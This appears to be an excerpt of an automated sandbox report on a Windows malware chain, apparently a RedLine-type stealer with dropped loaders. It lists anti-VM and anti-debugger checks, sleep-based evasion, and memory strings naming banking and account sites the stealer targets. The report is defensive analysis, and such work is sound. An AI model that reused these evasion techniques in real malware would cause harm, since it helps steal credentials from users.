Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1764	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2388	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3064	Thread sleep count: 2036 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4040	Thread sleep time: -11068046444225724s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1616	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Windows\System32\systeminfo.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct

Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\cmd.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_008DE614 FindFirstFileExW,	7_2_008DE614
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_008DEAF8 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	7_2_008DEAF8
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Code function: 12_2_000001DD940CDCE0 FindFirstFileExW,	12_2_000001DD940CDCE0

Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\jergs.exe	Thread delayed: delay time: 60000
Source: C:\ProgramData\okili\peombdb.exe	Thread delayed: delay time: 60000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images

Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003666000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696503903
Source: stub.exe, 0000000F.00000003.2450581627.00000194D0AB1000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2465877516.00000194D0AF9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: *Hyper-V Administrators
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003666000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696503903x
Source: stub.exe, 0000000F.00000003.2450581627.00000194D0AB1000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2449741444.00000194D1364000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2465877516.00000194D0AF9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V Heartbeat Service
Source: stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: uvmwareuser.exe
Source: axplong.exe, 00000002.00000002.2768814464.0000000001181000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000002.2768814464.00000000011C1000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2502067083.00000194CFD26000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.1976460731.00000194CFCDF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003666000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696503903u
Source: stub.exe, 0000000F.00000002.2507795287.00000194D0D7C000.00000004.00001000.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2450581627.00000194D0AB1000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2465877516.00000194D0AF9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V Volume Shadow Copy Requestor
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: aqemu
Source: stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: uvmtoolsd.exeuvmwaretray.exeuvmacthlp.exeuvboxtray.exeuvboxservice.exeuvmsrvc.exeuprl_tools.exeuxenservice.exeuAntiVM.CheckProcessT
Source: stub.exe, 0000000F.00000002.2507795287.00000194D0D7C000.00000004.00001000.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2450581627.00000194D0AB1000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2465877516.00000194D0AF9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V Time Synchronization Service
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003666000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696503903}
Source: stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: avirtualboxavmwareuAntiVM.CheckGpuadecoded_outputu<genexpr>uAntiVM.CheckGpu.<locals>.<genexpr>L
Source: stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: avmware
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003666000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696503903n
Source: axplong.exe, 00000002.00000002.2768814464.00000000011DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003666000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696503903
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003666000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696503903z
Source: stub.exe, 0000000F.00000002.2507795287.00000194D0D7C000.00000004.00001000.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2450581627.00000194D0AB1000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2465877516.00000194D0AF9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V PowerShell Direct Service
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: asandboxacuckooavmavirtualaqemuavboxaxenanodeuAntiVM.CheckHostNameT
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003666000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696503903p
Source: stub.exe, 0000000F.00000002.2507795287.00000194D0D7C000.00000004.00001000.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2450581627.00000194D0AB1000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2465877516.00000194D0AF9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V Data Exchange Service
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003666000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696503903~
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003666000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696503903
Source: stub.exe, 0000000F.00000002.2507795287.00000194D0D7C000.00000004.00001000.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2450581627.00000194D0AB1000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2465877516.00000194D0AF9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V Guest Shutdown Service
Source: stub.exe, 0000000F.00000003.2450581627.00000194D0AB1000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2465877516.00000194D0AF9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V Guest Service Interface
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003666000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696503903
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003666000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696503903o
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003666000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696503903t
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003666000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696503903t
Source: axplong.exe, axplong.exe, 00000006.00000002.1798628728.0000000000A84000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: uvmusrvc.exe
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003666000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696503903s
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003666000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696503903x
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003666000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696503903f
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003666000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696503903
Source: stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: uvboxservice.exe
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: uqemu-ga.exe
Source: stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: uvmtoolsd.exe
Source: stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: uvmsrvc.exe
Source: stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: cvmware
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003666000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696503903x
Source: stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: uvmwaretray.exe
Source: stub.exe, 0000000F.00000002.2507795287.00000194D0D7C000.00000004.00001000.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2450581627.00000194D0AB1000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2465877516.00000194D0AF9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V Remote Desktop Virtualization Service
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003666000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696503903h
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003666000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696503903
Source: stub.exe, 0000000F.00000003.2465877516.00000194D0AF9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SERVICE_NAME: vmicvss
Source: stub.exe, 0000000F.00000003.2465877516.00000194D0AF9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SERVICE_NAME: vmicheartbeat
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003666000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696503903\|UE
Source: stub.exe, 0000000F.00000003.2450581627.00000194D0AB1000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2465877516.00000194D0AF9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Requirements: VM Monitor Mode Extensions: No
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003666000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696503903^
Source: RegAsm.exe, 00000009.00000002.1883918853.000000000108A000.00000004.00000020.00020000.00000000.sdmp, redline123123.exe, 0000000E.00000002.2258423010.000000000151C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: stub.exe, 0000000F.00000003.2465877516.00000194D0AF9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SERVICE_NAME: vmicshutdown
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003666000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696503903]
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003666000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696503903
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003666000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696503903
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003666000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696503903
Source: stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: cVMware
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003666000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696503903d
Source: DPqKF5vqpe.exe, 00000000.00000003.1531648431.0000000000F00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}<
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003666000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696503903j
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003666000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696503903}
Source: redline123123.exe, 0000000E.00000002.2266923470.0000000003666000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696503903
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: uvboxtray.exe
Source: DPqKF5vqpe.exe, 00000000.00000002.1551187775.0000000000494000.00000040.00000001.01000000.00000003.sdmp, axplong.exe, 00000002.00000002.2754213493.0000000000A84000.00000040.00000001.01000000.00000007.sdmp, axplong.exe, 00000003.00000002.1588630268.0000000000A84000.00000040.00000001.01000000.00000007.sdmp, axplong.exe, 00000006.00000002.1798628728.0000000000A84000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: uwmic path Win32_ComputerSystem get ManufacturercVMwarecvmwareuAntiVM.CheckHypervisoraFakeErrorT

Source: C:\Users\user\Desktop\DPqKF5vqpe.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\DPqKF5vqpe.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\DPqKF5vqpe.exe

Code function: 0_2_04CC01B5 Start: 04CC03D7 End: 04CC01D1

0_2_04CC01B5

Tries to detect debuggers (CloseHandle check)

Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe

Handle closed: DEADC0DE

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	Process queried: DebugObjectHandle
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	Process queried: DebugObjectHandle
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	Process queried: DebugObjectHandle
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\DPqKF5vqpe.exe

Code function: 0_2_04CC0B99 rdtsc

0_2_04CC0B99

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 9_2_00437160 LdrInitializeThunk,

9_2_00437160

Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe

Code function: 7_2_008DDE9D IsDebuggerPresent,

7_2_008DDE9D

Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Code function: 2_2_008C643B mov eax, dword ptr fs:[00000030h]	2_2_008C643B
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Code function: 2_2_008CA1A2 mov eax, dword ptr fs:[00000030h]	2_2_008CA1A2
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_008D6B99 mov eax, dword ptr fs:[00000030h]	7_2_008D6B99
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_008D698F mov eax, dword ptr fs:[00000030h]	7_2_008D698F
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_008D69E2 mov eax, dword ptr fs:[00000030h]	7_2_008D69E2
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_008D6AA6 mov eax, dword ptr fs:[00000030h]	7_2_008D6AA6
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_008D6A35 mov eax, dword ptr fs:[00000030h]	7_2_008D6A35
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_008D6BEE mov eax, dword ptr fs:[00000030h]	7_2_008D6BEE
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_008D6C80 mov eax, dword ptr fs:[00000030h]	7_2_008D6C80
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_008D6C43 mov eax, dword ptr fs:[00000030h]	7_2_008D6C43
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_008CB283 mov ecx, dword ptr fs:[00000030h]	7_2_008CB283

Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe

Code function: 12_2_000001DD940C1628 GetProcessHeap,HeapAlloc,RegOpenKeyExW,RegOpenKeyExW,RegCloseKey,RegOpenKeyExW,RegCloseKey,RegOpenKeyExW,RegCloseKey,RegOpenKeyExW,RegCloseKey,RegOpenKeyExW,RegCloseKey,RegOpenKeyExW,RegCloseKey,RegOpenKeyExW,RegCloseKey,RegOpenKeyExW,RegCloseKey,RegCloseKey,

12_2_000001DD940C1628

Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_008860CE SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_008860CE
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_0088660B IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_0088660B
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_00897465 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_00897465
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Code function: 12_2_000001DD940CD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_000001DD940CD2A4
